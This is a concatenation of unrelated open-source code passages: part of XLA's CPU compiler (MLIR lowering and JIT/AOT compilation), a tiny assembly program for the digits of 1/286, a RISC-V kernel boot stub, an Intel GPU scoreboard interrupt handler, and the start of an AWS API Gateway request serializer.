LoadMLIRDialects(mlir_context);
mlir::PassManager pm(&mlir_context);
// Resolve all shape constraints (e.g. broadcast constraints that can be
// proved statically and changed to const witness) early to allow more
// efficient broadcast operations moving.
// Move up broadcasting operations to allow for more fusion opportunities.
pm.addPass(mlir::createInlinerPass());
pm.addPass(mlir::mhlo::CreateExpandHloTuplesPass("main"));
pm.addNestedPass<mlir::func::FuncOp>(
mlir::mhlo::createLegalizeGeneralDotPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::mhlo::createBroadcastPropagationPass());
pm.addPass(mlir::createCSEPass());
pm.addPass(mlir::createCanonicalizerPass());
// Transform HLO operations to Linalg.
pm.addPass(mlir::mhlo::createLegalizeToMemrefPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::mhlo::createLegalizeControlFlowPass());
pm.addPass(::mlir::mhlo::createLegalizeToArithmeticPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::mhlo::createLegalizeHloToLinalgPass());
// Lower index cast on tensors to tensor.generate.
pm.addNestedPass<mlir::func::FuncOp>(mlir::CreateLowerIndexCastPass());
// Lower shape dialect to standard to enable linalg canonicalizations (e.g.
// use linalg inputs instead of outputs for memref.dim operations).
pm.addNestedPass<mlir::func::FuncOp>(mlir::CreateShapeSimplification());
pm.addNestedPass<mlir::func::FuncOp>(mlir::createShapeToShapeLowering());
pm.addPass(mlir::createConvertShapeToStandardPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::createConvertShapeConstraintsPass());
// Fuse Linalg on tensors operations.
pm.addPass(mlir::createCSEPass());
pm.addPass(mlir::memref::createResolveShapedTypeResultDimsPass());
pm.addPass(mlir::createCanonicalizerPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::createLinalgElementwiseOpFusionPass());
pm.addPass(mlir::createReconcileUnrealizedCastsPass());
pm.addNestedPass<mlir::func::FuncOp>(mlir::createLinalgBufferizePass());
pm.addNestedPass<mlir::func::FuncOp>(mlir::createConvertLinalgToLoopsPass());
// Bufferize Linalg on tensors program.
// Always run canonicalizer (which does dead code removal) before
// bufferizing anything.
pm.addPass(mlir::createCanonicalizerPass());
// Now bufferize all the compute operations (hlo + linalg) and func
// signature.
pm.addPass(mlir::CreateComputeOpAndFuncBufferizePass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::gml_st::CreateTiledLoopBufferizePass());
// Turn tensor constants into global memrefs.
// TODO(kramerb): Expose the patterns and add them to the bufferize passes.
// pm.addPass(mlir::createTensorConstantBufferizePass());
// Always run canonicalizer (which does dead code removal) before
// bufferizing anything.
pm.addPass(mlir::createCanonicalizerPass());
pm.addPass(mlir::CreateFinalBufferizePass(
/*alignment=*/xla::cpu_function_runtime::Align()));
pm.addPass(mlir::createCSEPass());
pm.addPass(mlir::createCanonicalizerPass());
pm.addPass(mlir::bufferization::createBufferResultsToOutParamsPass());
pm.addPass(mlir::mhlo::CreateOutlineWithXLAFrameworkPass());
pm.addPass(mlir::createInlinerPass());
// Deallocate all temporary buffers.
pm.addNestedPass<mlir::func::FuncOp>(
mlir::bufferization::createBufferDeallocationPass());
pm.addPass(mlir::createBufferizationToMemRefPass());
// Specilize linalg.matmul to linalg.dot, linalg.matvec or linalg.vecmat,
// and immediately canonicalize to clean up not taken branches.
// pm.addNestedPass<mlir::func::FuncOp>(CreateLinalgMatmulSpecializationPass());
pm.addPass(mlir::createCanonicalizerPass());
// Tile and vectorize linalg operation using Linalg Codegen Strategy.
// pm.addNestedPass<mlir::func::FuncOp>(CreateCodegenStrategyForMatMulPass());
pm.addPass(mlir::createCSEPass());
pm.addPass(mlir::createCanonicalizerPass());
mlir::VectorTransferToSCFOptions vec_to_scf_options;
vec_to_scf_options.unroll = true;
pm.addNestedPass<mlir::func::FuncOp>(
mlir::createConvertVectorToSCFPass(vec_to_scf_options));
pm.addNestedPass<mlir::func::FuncOp>(
mlir::arith::createArithmeticExpandOpsPass());
pm.addNestedPass<mlir::func::FuncOp>(mlir::memref::createExpandOpsPass());
pm.addNestedPass<mlir::func::FuncOp>(mlir::createLowerAffinePass());
pm.addPass(mlir::mhlo::CreateLegalizeXLAFrameworkToLLVMPass());
pm.addPass(mlir::createMemRefToLLVMPass());
pm.addPass(mlir::createConvertSCFToCFPass());
pm.addNestedPass<mlir::func::FuncOp>(mlir::createConvertMathToLLVMPass());
pm.addNestedPass<mlir::func::FuncOp>(
mlir::arith::createConvertArithmeticToLLVMPass());
pm.addPass(mlir::createConvertFuncToLLVMPass());
pm.addPass(mlir::createReconcileUnrealizedCastsPass());
if (pm.run(mlir_module).failed()) {
mlir_module->dump();
return tensorflow::errors::Internal(
"Failed to compile through MLIR pipeline");
}
return Status::OK();
}
StatusOr<mlir::ModuleOp> createMLIRModule(HloModule* module,
mlir::MLIRContext& mlir_context,
BufferAssignment* assignment) {
LoadMLIRDialects(mlir_context);
mlir::OpBuilder builder(&mlir_context);
auto mlir_module = builder.create<mlir::ModuleOp>(builder.getUnknownLoc());
TF_RETURN_IF_ERROR(ConvertHloToMlirHlo(mlir_module, module));
// Add buffer mappings
llvm::SmallVector<mlir::Attribute> operand_mapping;
for (auto i : module->entry_computation()->parameter_instructions()) {
auto slice = assignment->GetUniqueTopLevelSlice(i);
operand_mapping.push_back(
builder.getI32IntegerAttr(static_cast<int32_t>(slice->index())));
}
auto root_instr = module->entry_computation()->root_instruction();
auto output_allocation = assignment->GetUniqueTopLevelOutputSlice();
// Gather mappings to each element in the tuple if necessary
llvm::SmallVector<mlir::Attribute> result_inner_mapping;
if (output_allocation->allocation()->is_tuple()) {
for (auto i : llvm::seq<int>(0, root_instr->shape().tuple_shapes_size())) {
result_inner_mapping.push_back(mlir::IntegerAttr::get(
mlir::IntegerType::get(&mlir_context, 64),
assignment->GetUniqueSlice(root_instr, {i})->index()));
}
}
auto result_mapping = builder.getI32IntegerAttr(
static_cast<int32_t>(output_allocation->index()));
mlir_module->walk([&](mlir::func::FuncOp f) {
if (f.getSymName() == "main") {
for (auto& p : llvm::enumerate(operand_mapping)) {
f.setArgAttr(p.index(), "xla_framework.input_mapping", p.value());
}
f->setAttr("xla_framework.result_mapping", result_mapping);
}
if (output_allocation->allocation()->is_tuple()) {
f->setAttr("xla_framework.result_inner_mapping",
mlir::ArrayAttr::get(f.getContext(), result_inner_mapping));
}
});
return mlir_module;
}
struct ComputationToEmit {
HloComputation* computation;
// Are we emitting this computation with fast-math reassociation enabled?
// We enable reassociation for reductions because it has a significant
// performance impact.
bool allow_reassociation;
bool operator==(const ComputationToEmit& other) const {
return computation == other.computation &&
allow_reassociation == other.allow_reassociation;
}
template <typename H>
friend H AbslHashValue(H h, const ComputationToEmit& c) {
return H::combine(std::move(h), c.computation, c.allow_reassociation);
}
};
std::vector<ComputationToEmit> SubcomputationEmissionOrder(
HloComputation* root) {
absl::flat_hash_set<ComputationToEmit> visited;
std::vector<ComputationToEmit> postorder;
// agenda of (node, leave) pairs.
std::stack<std::pair<ComputationToEmit, bool>> agenda;
agenda.emplace(ComputationToEmit{root, false}, false);
while (!agenda.empty()) {
ComputationToEmit c;
bool leave;
std::tie(c, leave) = agenda.top();
agenda.pop();
if (leave) {
postorder.push_back(c);
continue;
}
if (visited.insert(c).second) {
agenda.emplace(c, true);
for (auto* instruction : c.computation->instructions()) {
bool allow_reassociation =
instruction->opcode() == HloOpcode::kAllReduce ||
instruction->opcode() == HloOpcode::kReduce ||
instruction->opcode() == HloOpcode::kReduceWindow;
for (auto it = instruction->called_computations().rbegin();
it != instruction->called_computations().rend(); ++it) {
HloComputation* called_computation = *it;
ComputationToEmit callee{
called_computation, c.allow_reassociation || allow_reassociation};
if (!visited.contains(callee)) {
agenda.emplace(callee, false);
}
}
}
}
}
DCHECK(!postorder.empty() && postorder.back().computation == root);
postorder.pop_back();
return postorder;
}
} // namespace
StatusOr<std::unique_ptr<Executable>> CpuCompiler::RunBackend(
std::unique_ptr<HloModule> module, se::StreamExecutor* stream_exec,
const CompileOptions& options) {
VLOG(1) << "Compiling: " << module->name();
XLA_SCOPED_LOGGING_TIMER(
absl::StrFormat("Compiling [%s] for CPU using JIT", module->name()));
std::string slow_compilation_msg =
absl::StrCat("Compiling module ", module->name());
auto slow_compile_alarm = SlowCompilationAlarm(slow_compilation_msg);
absl::call_once(llvm_command_line_options_initialized,
&InitializeLLVMCommandLineOptions, module->config());
ModuleHook pre_optimization_ir_hook;
ModuleHook post_optimization_ir_hook;
std::tie(pre_optimization_ir_hook, post_optimization_ir_hook) =
GetIRModuleHooks(*module, user_pre_optimization_hook_,
user_post_optimization_hook_);
// Compile must be thread-safe so create a new LLVM context for the module.
mlir::MLIRContext mlir_context;
LoadMLIRDialects(mlir_context);
auto llvm_context = std::make_unique<llvm::LLVMContext>();
auto llvm_module =
absl::make_unique<llvm::Module>("__compute_module", *llvm_context);
auto jit = SimpleOrcJIT::Create(
CompilerTargetOptions(module->config()),
CodeGenOptLevel(module->config()),
options::OptimizeForSizeRequested(module->config()),
module->config().debug_options().xla_llvm_disable_expensive_passes(),
llvm_ir::GetCpuFastMathFlags(module->config()), pre_optimization_ir_hook,
post_optimization_ir_hook,
OrcJITPostCompilationHook::Create(module.get()));
if (!jit) {
return InternalError("Creating JIT failed: %s",
llvm::toString(jit.takeError()));
}
llvm_module->setDataLayout((*jit)->data_layout());
llvm_module->setTargetTriple((*jit)->target_triple().getTriple());
HloComputation* entry_computation = module->entry_computation();
absl::flat_hash_map<const HloInstruction*, int64_t>
instruction_to_profile_idx;
absl::flat_hash_map<const HloComputation*, int64_t>
computation_to_profile_idx;
std::unique_ptr<HloProfileIndexMap> hlo_profile_index_map;
std::unique_ptr<HloProfilePrinterData> hlo_profile_printer_data;
if (module->config().hlo_profiling_enabled()) {
TF_RETURN_IF_ERROR(CreateHloProfilingArtifacts(
*module, &instruction_to_profile_idx, &computation_to_profile_idx,
&hlo_profile_index_map, &hlo_profile_printer_data));
}
// Cache these flags here since we'll want to access them after the module's
// ownership is std::moved.
const bool embed_ir_in_executable =
module->config().debug_options().xla_embed_ir_in_executable();
// Select an order for emitting the HLO instructions for each
// computation. Using this sequence enables tighter buffer liveness analysis
// and reduced memory usage (as compared to using DependencyHloOrdering).
TF_ASSIGN_OR_RETURN(HloSchedule schedule,
ScheduleModule(module.get(), BufferSizeBytesFunction(),
ComputationSchedulerToModuleScheduler(
DFSMemoryScheduler)));
// Run buffer allocation on the HLO graph.
TF_ASSIGN_OR_RETURN(
std::unique_ptr<BufferAssignment> assignment,
BufferAssigner::Run(module.get(),
absl::make_unique<SequentialHloOrdering>(schedule),
BufferSizeBytesFunction(), memory_alignment,
/*allocate_buffers_for_constants=*/true));
DumpHloModuleIfEnabled(*module, *assignment, "cpu_after_optimizations");
// Each computation is a single function. Emit all embedded computations
// before the entry computation. The order of computations returned from
// GetEmbeddedComputations guarantees that a called computation occurs
// before a caller computation.
LLVMTargetMachineFeatures target_machine_features((*jit)->target_machine());
IrEmitter ir_emitter(&mlir_context, *module, *assignment, llvm_module.get(),
std::move(instruction_to_profile_idx),
std::move(computation_to_profile_idx),
ModuleComputationsTransitivelyContainCustomCall(*module),
&target_machine_features,
#ifdef MEMORY_SANITIZER
/*emit_code_for_msan=*/true
#else
/*emit_code_for_msan=*/false
#endif
);
TF_RETURN_IF_ERROR(ir_emitter.EmitConstantGlobals());
for (ComputationToEmit subcomputation :
SubcomputationEmissionOrder(entry_computation)) {
if (subcomputation.computation->IsFusionComputation()) {
continue;
}
TF_RETURN_IF_ERROR(
ir_emitter
.EmitComputation(
subcomputation.computation, subcomputation.computation->name(),
/*is_top_level_computation=*/false,
schedule.sequence(subcomputation.computation).instructions(),
subcomputation.allow_reassociation)
.status());
}
std::string function_name_prefix = entry_computation->name().empty()
? "__compute"
: entry_computation->name();
TF_ASSIGN_OR_RETURN(llvm::Function * entry_function,
ir_emitter.EmitComputation(
entry_computation, function_name_prefix,
/*is_top_level_computation=*/true,
schedule.sequence(entry_computation).instructions(),
/*allow_reassociation=*/false));
std::string function_name = [&]() {
llvm::SmallVector<char, 40> function_name_vector;
llvm::Mangler::getNameWithPrefix(
function_name_vector, entry_function->getName(), (*jit)->data_layout());
return std::string(function_name_vector.begin(),
function_name_vector.end());
}();
std::string ir_module_string;
if (embed_ir_in_executable) {
ir_module_string = llvm_ir::DumpModuleToString(*llvm_module);
}
TF_RETURN_IF_ERROR(VerifyLlvmModule(*llvm_module));
// JIT compile the LLVM IR module to in-memory machine code.
llvm::orc::ThreadSafeModule thread_safe_module(std::move(llvm_module),
std::move(llvm_context));
cantFail((*jit)->AddModule(std::move(thread_safe_module)));
auto cpu_executable = absl::make_unique<CpuExecutable>(
std::move(*jit), std::move(assignment), std::move(module), function_name,
std::move(hlo_profile_printer_data), std::move(hlo_profile_index_map));
if (embed_ir_in_executable) {
cpu_executable->set_ir_module_string(ir_module_string);
}
// Dump computation proto state and buffer assignment for debug and test, if
// dump or embed_ir_in_executable is enabled.
if (embed_ir_in_executable ||
DumpingEnabledForHloModule(cpu_executable->module())) {
auto hlo_proto = absl::make_unique<HloProto>();
if (hlo_proto_) {
*hlo_proto = *hlo_proto_;
} else {
*hlo_proto->mutable_hlo_module() = cpu_executable->module().ToProto();
}
*hlo_proto->mutable_buffer_assignment() =
cpu_executable->buffer_assignment().ToProto();
cpu_executable->set_hlo_proto(std::move(hlo_proto));
}
cpu_executable->set_debug_info(
cpu_executable->buffer_assignment().GetStats().ToString());
VLOG(1) << "Compilation finished";
return std::unique_ptr<Executable>(std::move(cpu_executable));
}
StatusOr<std::vector<std::unique_ptr<AotCompilationResult>>>
CpuCompiler::CompileAheadOfTime(std::unique_ptr<HloModuleGroup> module_group,
const AotCompilationOptions& aot_options) {
TF_RET_CHECK(!module_group->empty());
std::vector<std::unique_ptr<HloModule>> modules =
module_group->ConsumeModules();
absl::call_once(llvm_command_line_options_initialized,
&InitializeLLVMCommandLineOptions, modules[0]->config());
// We can pass just one llvm::TargetOptions when we compile the LLVM module,
// so we bail if the configs have conflicting flags. At the moment, the only
// flags that need to be consistent are for fast-math.
for (const auto& fn_and_name :
{std::make_pair(&DebugOptions::xla_cpu_enable_fast_math,
"xla_cpu_enable_fast_math"),
std::make_pair(&DebugOptions::xla_cpu_fast_math_honor_infs,
"xla_cpu_fast_math_honor_infs"),
std::make_pair(&DebugOptions::xla_cpu_fast_math_honor_nans,
"xla_cpu_fast_math_honor_nans")}) {
// This only works because each of the method pointers above returns a bool.
// Otherwise we'd have to do some template magic.
const auto& field_method_ptr = fn_and_name.first;
const auto& field_name = fn_and_name.second;
bool first_module_val =
(modules[0]->config().debug_options().*field_method_ptr)();
for (int64_t i = 0; i < modules.size(); ++i) {
bool cur_module_val =
(modules[i]->config().debug_options().*field_method_ptr)();
if (first_module_val != cur_module_val) {
return InvalidArgument(
"All HLO module configs must have the same value for %s, but "
"module 0 and %d have different values (%d vs %d).",
field_name, i, first_module_val, cur_module_val);
}
}
}
if (aot_options.PlatformId() != se::host::kHostPlatformId) {
return InvalidArgument("Incompatible AOT compilation platform");
}
const CpuAotCompilationOptions& options =
static_cast<const CpuAotCompilationOptions&>(aot_options);
llvm::Triple triple(llvm::Triple::normalize(options.triple()));
std::string error;
const llvm::Target* target =
llvm::TargetRegistry::lookupTarget(triple.getTriple(), error);
if (target == nullptr) {
return InternalError("TargetRegistry::lookupTarget failed: %s", error);
}
llvm::Reloc::Model reloc_model = llvm::Reloc::Static;
llvm::PICLevel::Level pic_level = llvm::PICLevel::NotPIC;
llvm::PIELevel::Level pie_level = llvm::PIELevel::Default;
switch (options.relocation_model()) {
case CpuAotCompilationOptions::RelocationModel::Static:
reloc_model = llvm::Reloc::Static;
pic_level = llvm::PICLevel::NotPIC;
pie_level = llvm::PIELevel::Default;
break;
case CpuAotCompilationOptions::RelocationModel::SmallPic:
reloc_model = llvm::Reloc::PIC_;
pic_level = llvm::PICLevel::SmallPIC;
pie_level = llvm::PIELevel::Default;
break;
case CpuAotCompilationOptions::RelocationModel::BigPic:
reloc_model = llvm::Reloc::PIC_;
pic_level = llvm::PICLevel::BigPIC;
pie_level = llvm::PIELevel::Default;
break;
case CpuAotCompilationOptions::RelocationModel::SmallPie:
reloc_model = llvm::Reloc::PIC_;
pic_level = llvm::PICLevel::SmallPIC;
pie_level = llvm::PIELevel::Small;
break;
case CpuAotCompilationOptions::RelocationModel::BigPie:
reloc_model = llvm::Reloc::PIC_;
pic_level = llvm::PICLevel::BigPIC;
pie_level = llvm::PIELevel::Large;
break;
}
llvm::CodeGenOpt::Level opt_level = CodeGenOptLevel(modules[0]->config());
std::unique_ptr<llvm::TargetMachine> target_machine =
absl::WrapUnique(target->createTargetMachine(
triple.getTriple(), options.cpu_name(), options.features(),
CompilerTargetOptions(modules[0]->config()), reloc_model, llvm::None,
opt_level));
// Compile must be thread-safe so create a new LLVM context for the module.
mlir::MLIRContext mlir_context;
LoadMLIRDialects(mlir_context);
llvm::LLVMContext llvm_context;
std::unique_ptr<llvm::Module> llvm_module;
std::vector<std::unique_ptr<AotCompilationResult>> results;
for (size_t i = 0; i < modules.size(); ++i) {
HloModule* module = modules[i].get();
VLOG(1) << "Compiling ahead-of-time: " << module->name();
TF_RETURN_IF_ERROR(
RunHloPasses(module, /*is_aot_compile=*/true, target_machine.get(),
/*is_mlir_compile=*/options.use_mlir_hlo_lowering()));
TF_ASSIGN_OR_RETURN(HloSchedule schedule,
ScheduleModule(module, BufferSizeBytesFunction()));
// Run buffer analysis on the HLO graph. This analysis figures out which
// temporary buffers are required to run the computation.
TF_ASSIGN_OR_RETURN(
std::unique_ptr<BufferAssignment> assignment,
BufferAssigner::Run(module,
absl::make_unique<SequentialHloOrdering>(schedule),
BufferSizeBytesFunction(), memory_alignment,
/*allocate_buffers_for_constants=*/true));
// BufferAssignment::ToString() includes a header, so no need for us to
// print one ourselves.
if (DumpingEnabledForHloModule(*module)) {
DumpToFileInDirOrStdout(*module, "", "buffer_assignment",
assignment->ToString());
}
DumpHloModuleIfEnabled(*module, *assignment, "cpu_after_optimizations");
absl::flat_hash_map<const HloInstruction*, int64_t>
instruction_to_profile_idx;
absl::flat_hash_map<const HloComputation*, int64_t>
computation_to_profile_idx;
std::unique_ptr<HloProfileIndexMap> hlo_profile_index_map;
std::unique_ptr<HloProfilePrinterData> hlo_profile_printer_data;
if (module->config().hlo_profiling_enabled()) {
TF_RETURN_IF_ERROR(CreateHloProfilingArtifacts(
*module, &instruction_to_profile_idx, &computation_to_profile_idx,
&hlo_profile_index_map, &hlo_profile_printer_data));
}
LLVMTargetMachineFeatures target_machine_features(target_machine.get());
std::vector<BufferInfo> buffer_infos =
CreateBufferInfosFromBufferAssignment(*assignment);
HloComputation* computation = module->entry_computation();
if (UseMlirHloLowering(options.use_mlir_hlo_lowering(), module)) {
TF_ASSIGN_OR_RETURN(
auto mlir_module,
createMLIRModule(module, mlir_context, assignment.get()));
TF_RETURN_IF_ERROR(LowerMLIRModule(mlir_module, mlir_context));
llvm::cast<mlir::LLVM::LLVMFuncOp>(
mlir_module.lookupSymbol("main_xla_framework"))
.setName(options.entry_point_name());
llvm_module = mlir::translateModuleToLLVMIR(mlir_module, llvm_context);
// Set missing information
llvm_module->setDataLayout(target_machine->createDataLayout());
llvm_module->setTargetTriple(triple.getTriple());
if (pic_level != llvm::PICLevel::NotPIC) {
llvm_module->setPICLevel(pic_level);
}
if (pie_level != llvm::PIELevel::Default) {
llvm_module->setPIELevel(pie_level);
}
} else {
// Set required information before emitting IR
llvm_module =
std::make_unique<llvm::Module>("__compute_module", llvm_context);
llvm_module->setDataLayout(target_machine->createDataLayout());
llvm_module->setTargetTriple(triple.getTriple());
if (pic_level != llvm::PICLevel::NotPIC) {
llvm_module->setPICLevel(pic_level);
}
if (pie_level != llvm::PIELevel::Default) {
llvm_module->setPIELevel(pie_level);
}
IrEmitter ir_emitter(
&mlir_context, *module, *assignment, llvm_module.get(),
std::move(instruction_to_profile_idx),
std::move(computation_to_profile_idx),
ModuleComputationsTransitivelyContainCustomCall(*module),
&target_machine_features,
// TODO(b/66051036): Run full msan for AOT.
/*emit_code_for_msan=*/false);
TF_RETURN_IF_ERROR(ir_emitter.EmitConstantGlobals());
for (ComputationToEmit subcomputation :
SubcomputationEmissionOrder(computation)) {
if (subcomputation.computation->IsFusionComputation()) {
continue;
}
TF_RETURN_IF_ERROR(
ir_emitter
.EmitComputation(subcomputation.computation,
subcomputation.computation->name(),
/*is_top_level_computation=*/false,
schedule.sequence(subcomputation.computation)
.instructions(),
subcomputation.allow_reassociation)
.status());
}
const std::string& entry_point_name = options.entry_point_name();
TF_ASSIGN_OR_RETURN(llvm::Function * entry_function,
ir_emitter.EmitComputation(
computation, entry_point_name,
/*is_top_level_computation=*/true,
schedule.sequence(computation).instructions(),
/*allow_reassociation=*/false));
CHECK(entry_function->getName() == entry_point_name);
}
ModuleHook pre_optimization_ir_hook;
ModuleHook post_optimization_ir_hook;
std::tie(pre_optimization_ir_hook, post_optimization_ir_hook) =
GetIRModuleHooks(*module, user_pre_optimization_hook_,
user_post_optimization_hook_);
// Run the LLVM verifier over the unoptimized LLVM IR. If it fails, run
// the pre-optimization IR dump hook before returning.
{
Status verify_status = VerifyLlvmModule(*llvm_module);
if (!verify_status.ok() && pre_optimization_ir_hook) {
pre_optimization_ir_hook(*llvm_module);
}
TF_RETURN_IF_ERROR(verify_status);
}
auto post_codegen_hook = [&](const llvm::object::ObjectFile& obj_file) {
if (!DumpingEnabledForHloModule(*module)) {
return;
}
DumpToFileInDir(*module, /*file_prefix=*/"", /*file_suffix=*/"o",
absl::string_view(obj_file.getData().data(),
obj_file.getData().size()));
};
CompilerFunctor compiler_functor(
target_machine.get(), opt_level,
options::OptimizeForSizeRequested(module->config()),
module->config().debug_options().xla_llvm_disable_expensive_passes(),
llvm_ir::GetCpuFastMathFlags(module->config()),
pre_optimization_ir_hook, post_optimization_ir_hook, post_codegen_hook,
aot_options.sanitize_dataflow(),
aot_options.sanitize_abilists_dataflow());
std::unique_ptr<llvm::MemoryBuffer> object_file =
cantFail(compiler_functor(*llvm_module));
ObjectFileData object_file_data(object_file->getBufferStart(),
object_file->getBufferEnd());
TF_ASSIGN_OR_RETURN(const BufferAllocation::Slice result_slice,
assignment->GetUniqueTopLevelOutputSlice());
results.emplace_back(absl::make_unique<CpuAotCompilationResult>(
std::move(object_file_data), std::move(buffer_infos),
result_slice.index(), std::move(hlo_profile_printer_data)));
}
VLOG(1) << "Compilation finished";
return std::move(results);
}
se::Platform::Id CpuCompiler::PlatformId() const {
return se::host::kHostPlatformId;
}
HloCostAnalysis::ShapeSizeFunction CpuCompiler::ShapeSizeBytesFunction() const {
return CpuExecutable::ShapeSizeBytes;
}
} // namespace cpu
} // namespace xla
static bool InitModule() {
xla::Compiler::RegisterCompilerFactory(
stream_executor::host::kHostPlatformId,
[]() { return absl::make_unique<xla::cpu::CpuCompiler>(); });
return true;
}
static bool module_initialized = InitModule();
|
; A021290: Decimal expansion of 1/286.
; 0,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3
add $0,1
mov $1,10
pow $1,$0
mul $1,6
div $1,1716
mod $1,10
mov $0,$1
|
.section .data
.option norvc
# goddess, sing of the wrath of Page-Fault Exception
.section .text.proem
# this is where we enter the kernel
.global _start
_start:
# read hart id
csrr t0, mhartid
# jump into wait for interrupt loop if it's not 0
bnez t0, youspinmeround
# zero out SATP CSR
csrw satp, zero
# set up global pointer
.option push
.option norelax
la gp, __global_pointer
.option pop
# store start and end of bss
la a0, __bss_start
la a1, __bss_end
# If bss is done already, skip
bgeu a0, a1, fill_bss_done
# loop until all bss is filled with zeroes
fill_bss_start:
sd zero, (a0)
addi a0, a0, 8
bltu a0, a1, fill_bss_start
fill_bss_done:
# set stack pointer
la sp, __stack_top
# shuffle around mstatus bits:
# bit 12-11: machine previous privilege (set to 3 = Machine Mode)
# bit 7: machine previous interrupt enable (set to 1 = Yes)
# bit 3: machine interrupt enable (set to 1 = Yes)
li t0, (1 << 12) | (1 << 11) | (1 << 7) | (1 << 3)
csrw mstatus, t0
# set trap return to kmain
la t1, kmain
csrw mepc, t1
# set up interrupt handler
la t2, rupt
csrw mtvec, t2
la t2, kframe
csrw mscratch, t2
# enable interrupts:
# bit 11: machine mode external interrupts
# bit 7: machine mode timer interrupts
# bit 3: machine mode software interrupts
li t3, (1 << 11) | (1 << 7) | (1 << 3)
csrw mie, t3
# set return address to wait for interrupt loop
la ra, youspinmeround
# jump into kmain
mret
# hart go spinny uwu
youspinmeround:
wfi
j youspinmeround
|
/*
* Scoreboard interrupt handler
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// Kernel name: scoreboard_sip.asm
//
// scoreboard interrupt handler
//
// Simply send a notification message to scoreboard thread
mov (8) m0<1>:ud 0x00000000:ud // Initialize message header payload with 0
#ifdef DOUBLE_SB
mov (1) m0.5<1>:ud 0x08000200:ud // Message length = 1 DWORD, sent to GRF offset 64 registers
#else
mov (1) m0.5<1>:ud 0x04000200:ud // Message length = 1 DWORD, sent to GRF offset 32 registers
#endif
send (8) null<1>:ud m0 null:ud 0x03108002 // Send notification message to scoreboard kernel
and (1) cr0.1:ud cr0.1:ud 0x00800000 // Clear preempt exception bit
and (1) cr0.0:ud cr0.0:ud 0x7fffffff:ud // Exit SIP routine
nop // Required by B-spec
.end_code
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/apigateway/model/PutIntegrationRequest.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::APIGateway::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
PutIntegrationRequest::PutIntegrationRequest() :
m_restApiIdHasBeenSet(false),
m_resourceIdHasBeenSet(false),
m_httpMethodHasBeenSet(false),
m_type(IntegrationType::NOT_SET),
m_typeHasBeenSet(false),
m_integrationHttpMethodHasBeenSet(false),
m_uriHasBeenSet(false),
m_connectionType(ConnectionType::NOT_SET),
m_connectionTypeHasBeenSet(false),
m_connectionIdHasBeenSet(false),
m_credentialsHasBeenSet(false),
m_requestParametersHasBeenSet(false),
m_requestTemplatesHasBeenSet(false),
m_passthroughBehaviorHasBeenSet(false),
m_cacheNamespaceHasBeenSet(false),
m_cacheKeyParametersHasBeenSet(false),
m_contentHandling(ContentHandlingStrategy::NOT_SET),
m_contentHandlingHasBeenSet(false),
m_timeoutInMillis(0),
m_timeoutInMillisHasBeenSet(false),
m_tlsConfigHasBeenSet(false)
{
}
Aws::String PutIntegrationRequest::SerializePayload() const
{
JsonValue payload;
if(m_typeHasBeenSet)
{
payload.WithString("type", IntegrationTypeMapper::GetNameForIntegrationType(m_type));
}
if(m_integrationHttpMethodHasBeenSet)
{
payload.WithString("httpMethod", m_integrationHttpMethod);
}
if(m_uriHasBeenSet)
{
payload.WithString("uri", m_uri);
}
if(m_connectionTypeHasBeenSet)
{
payload.WithString("connectionType", ConnectionTypeMapper::GetNameForConnectionType(m_connectionType));
}
if(m_connectionIdHasBeenSet)
{
payload.WithString("connectionId", m_connectionId);
}
if(m_credentialsHasBeenSet)
{
payload.WithString("credentials", m_credentials);
}
if(m_requestParametersHasBeenSet)
{
JsonValue requestParametersJsonMap;
for(auto& requestParametersItem : m_requestParameters)
{
requestParametersJsonMap.WithString(requestParametersItem.first, requestParametersItem.second);
}
payload.WithObject("requestParameters", std::move(requestParametersJsonMap));
}
if(m_requestTemplatesHasBeenSet)
{
JsonValue requestTemplatesJsonMap;
for(auto& requestTemplatesItem : m_requestTemplates)
{
requestTemplatesJsonMap.WithString(requestTemplatesItem.first, requestTemplatesItem.second);
}
payload.WithObject("requestTemplates", std::move(requestTemplatesJsonMap));
}
if(m_passthroughBehaviorHasBeenSet)
{
payload.WithString("passthroughBehavior", m_passthroughBehavior);
}
if(m_cacheNamespaceHasBeenSet)
{
payload.WithString("cacheNamespace", m_cacheNamespace);
}
